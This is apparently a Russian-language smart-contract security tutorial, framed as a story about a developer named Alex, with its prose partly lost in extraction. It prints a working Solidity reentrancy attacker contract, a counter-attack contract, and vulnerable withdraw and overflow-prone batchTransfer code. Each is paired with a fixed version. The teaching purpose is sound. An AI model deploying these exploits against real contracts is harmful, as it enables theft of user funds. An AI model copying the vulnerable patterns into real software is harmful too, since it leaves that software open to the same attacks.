Loading...
Loading...
// ⚔️ АТАКУЮЩИЙ контракт хакераcontract ReentrancyAttacker { AlexDepositProtocol public target; uint256 public attackAmount = 1 ether;
constructor(AlexDepositProtocol _target) { target = _target; }
// Шаг 1: Начинаем атаку function startAttack() external payable { require(msg.value >= attackAmount, "Нужно больше ETH для атаки");
// Делаем легальный депозит target.deposit{value: attackAmount}();
// Начинаем цепочку вызовов target.withdraw(); }
// Шаг 2: Магия происходит здесь! receive() external payable { // Эта функция вызывается АВТОМАТИЧЕСКИ при получении ETH
if (address(target).balance >= attackAmount) { // Повторно вызываем withdraw! // Но наш баланс в контракте ЕЩЁ НЕ ОБНОВЛЕН! target.withdraw(); } }
// Забираем украденные средства function collectStolenFunds() external { payable(msg.sender).transfer(address(this).balance); }}startAttack() с 1 ETHbalances[хакер] = 1 ETHtotalDeposits = 101 ETH (в контракте уже было 100 ETH)withdraw():balances[хакер] >= 1 ETH — УСПЕШНОreceive():balances[хакер] всё ещё равен 1 ETH!withdraw()balances[хакер] >= 1 ETH проходит успешноrequire. Но я не учёл порядок операций! Одна перестановка строк стоила мне и пользователям $100,000!»// ✅ БЕЗОПАСНЫЙ контракт - исправленная версияimport "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract AlexSecureDepositProtocol is ReentrancyGuard { mapping(address => uint256) public balances; uint256 public totalDeposits;
function deposit() public payable { require(msg.value > 0, "Депозит должен быть больше 0"); balances[msg.sender] += msg.value; totalDeposits += msg.value; }
function withdraw(uint256 amount) public nonReentrant { // 1. CHECKS: Сначала все проверки require(amount > 0, "Сумма должна быть больше 0"); require(balances[msg.sender] >= amount, "Недостаточно средств");
// 2. EFFECTS: Затем изменения состояния balances[msg.sender] -= amount; totalDeposits -= amount;
// 3. INTERACTIONS: И только в конце внешние взаимодействия (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Перевод не удался"); }
// Дополнительная защита: ручная блокировка от reentrancy bool private locked;
function withdrawWithManualLock(uint256 amount) public { require(!locked, "Функция заблокирована"); locked = true;
require(amount > 0, "Сумма должна быть больше 0"); require(balances[msg.sender] >= amount, "Недостаточно средств");
balances[msg.sender] -= amount; totalDeposits -= amount;
(bool success, ) = msg.sender.call{value: amount}(""); require(success, "Перевод не удался");
locked = false; }}collectStolenFunds()!»// ⚔️ АТАКУЮЩИЙ контракт хакера (С УЯЗВИМОСТЬЮ!)contract ReentrancyAttacker { AlexDepositProtocol public target; uint256 public attackAmount = 1 ether; address public hacker; // Владелец контракта
constructor(AlexDepositProtocol _target) { target = _target; hacker = msg.sender; // Хакер устанавливает себя владельцем }
function startAttack() external payable { require(msg.value >= attackAmount, "Нужно больше ETH для атаки"); target.deposit{value: attackAmount}(); target.withdraw(); }
receive() external payable { if (address(target).balance >= attackAmount) { target.withdraw(); } }
// ❌ КРИТИЧЕСКАЯ ОШИБКА ХАКЕРА: функция НЕ защищена! function collectStolenFunds() external { // Хакер забыл добавить проверку msg.sender == hacker! payable(msg.sender).transfer(address(this).balance); }
// ✅ Хакер хотел добавить эту защиту, но забыл! // function collectStolenFunds() external { // require(msg.sender == hacker, "Only hacker can collect"); // payable(hacker).transfer(address(this).balance); // }}collectStolenFunds() доступна ЛЮБОМУ! Это моя возможность вернуть деньги!»0x1234...hacker_contractcollectStolenFunds()// 🛡️ КОНТРАКТ КОНТРАТАКИ Алексаcontract AlexCounterAttack { address public alexWallet; address public hackerContract = 0x1234...hacker_contract; // Адрес хакера
constructor() { alexWallet = msg.sender; }
// Функция для контратаки function counterAttack() external { require(msg.sender == alexWallet, "Only Alex can execute");
// Проверяем что у контракта хакера есть украденные средства uint256 stolenAmount = hackerContract.balance; require(stolenAmount > 0, "No funds to recover");
// Вызываем уязвимую функцию хакера! ReentrancyAttacker(hackerContract).collectStolenFunds();
// Теперь все украденные ETH у нас! require(address(this).balance >= stolenAmount, "Counter-attack failed"); }
// Функция для возврата средств пользователям function returnFundsToUsers() external { require(msg.sender == alexWallet, "Only Alex");
// Отправляем все средства обратно в исправленный протокол депозитов uint256 recoveredAmount = address(this).balance; payable(alexWallet).transfer(recoveredAmount); }
// На случай если нужно получить ETH receive() external payable {}}// Транзакция Алексаawait alexCounterAttack.counterAttack();collectStolenFunds() на контракте хакера// Алекс отправил транзакцию с сообщением в data"Dear hacker, thank you for the lesson about reentrancy.Unfortunately, you forgot to secure your own collectStolenFunds() function.Consider this a lesson in irony. Funds returned to rightful owners. - Alex"@CryptoNews: "EPIC! Developer outsmarts hacker using hacker's own vulnerability! $100k recovered! 🔥"@DeFiDetective: "This is poetic justice at its finest. Hacker got reentrancy'd by his own victim! 😂"@SecurityExpert: "Perfect example of why EVERY function needs proper access control. Both victim and attacker learned the hard way.""Well played, Alex. I underestimated you. This is why I respect the blockchain -code is law, and apparently my code had the same flaw as yours.Fair game. - Respectful Adversary"function withdraw(uint256 amount) public { // CHECKS: проверяем всё что нужно require(balances[msg.sender] >= amount);
// EFFECTS: изменяем состояние balances[msg.sender] -= amount;
// INTERACTIONS: взаимодействуем с внешним миром (bool success, ) = msg.sender.call{value: amount}(""); require(success);}import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureContract is ReentrancyGuard { function withdraw(uint256 amount) public nonReentrant { // Модификатор nonReentrant автоматически защищает от повторного входа }}contract ManualLock { bool private locked;
modifier noReentrant() { require(!locked, "Reentrancy detected"); locked = true; _; locked = false; }
function withdraw(uint256 amount) public noReentrant { // Функция защищена от повторного входа }}// Упрощенная версия уязвимости DAOfunction withdraw() public { uint256 amount = balances[msg.sender]; require(amount > 0);
// ❌ КРИТИЧЕСКАЯ ОШИБКА: отправка до обновления состояния msg.sender.call{value: amount}(""); balances[msg.sender] = 0; // Слишком поздно!}nonReentrant к функциям с переводамиuint8 максимум = 255255 + 1 = 0 (в старом Solidity!)uint8 минимум = 00 - 1 = 255 (в старом Solidity!)// ❌ УЯЗВИМЫЙ контракт BeautyChain (упрощенная версия)pragma solidity ^0.4.24; // Старая версия без защиты!
contract VulnerableBeautyToken { mapping(address => uint256) public balanceOf; uint256 public totalSupply;
function batchTransfer(address[] _receivers, uint256 _value) public returns (bool) { uint256 cnt = _receivers.length; uint256 amount = uint256(cnt) * _value; // ⚡ OVERFLOW ЗДЕСЬ!
require(cnt > 0 && cnt <= 20); require(_value > 0 && balanceOf[msg.sender] >= amount); // Проверяем overflow результат!
balanceOf[msg.sender] -= amount; for (uint256 i = 0; i < cnt; i++) { balanceOf[_receivers[i]] += _value; } return true; }}batchTransfer:batchTransfer([адрес1, адрес2], огромное_число)cnt = 2, _value = очень_большое_числоamount = 2 * очень_большое_число = маленькое_число (из-за overflow!)// ✅ БЕЗОПАСНЫЙ токен (Solidity 0.8.0+)pragma solidity ^0.8.0;
contract AlexSecureToken { mapping(address => uint256) public balances; uint256 public totalSupply = 1000000;
function transfer(address to, uint256 amount) public returns (bool) { require(to != address(0), "Нельзя отправлять на нулевой адрес"); require(balances[msg.sender] >= amount, "Недостаточно средств");
// ✅ БЕЗОПАСНО: автоматическая проверка overflow/underflow balances[msg.sender] -= amount; // Автоматически проверяется underflow balances[to] += amount; // Автоматически проверяется overflow
return true; }
// ✅ Безопасная batch функция function batchTransfer(address[] memory receivers, uint256 value) public returns (bool) { require(receivers.length > 0, "Список получателей пуст"); require(receivers.length <= 100, "Слишком много получателей"); require(value > 0, "Значение должно быть больше 0");
// ✅ БЕЗОПАСНО: overflow автоматически вызовет ошибку uint256 totalAmount = receivers.length * value; require(balances[msg.sender] >= totalAmount, "Недостаточно средств");
balances[msg.sender] -= totalAmount;
for (uint256 i = 0; i < receivers.length; i++) { require(receivers[i] != address(0), "Нулевой адрес в списке"); balances[receivers[i]] += value; }
return true; }}x - y >= 0 в uint

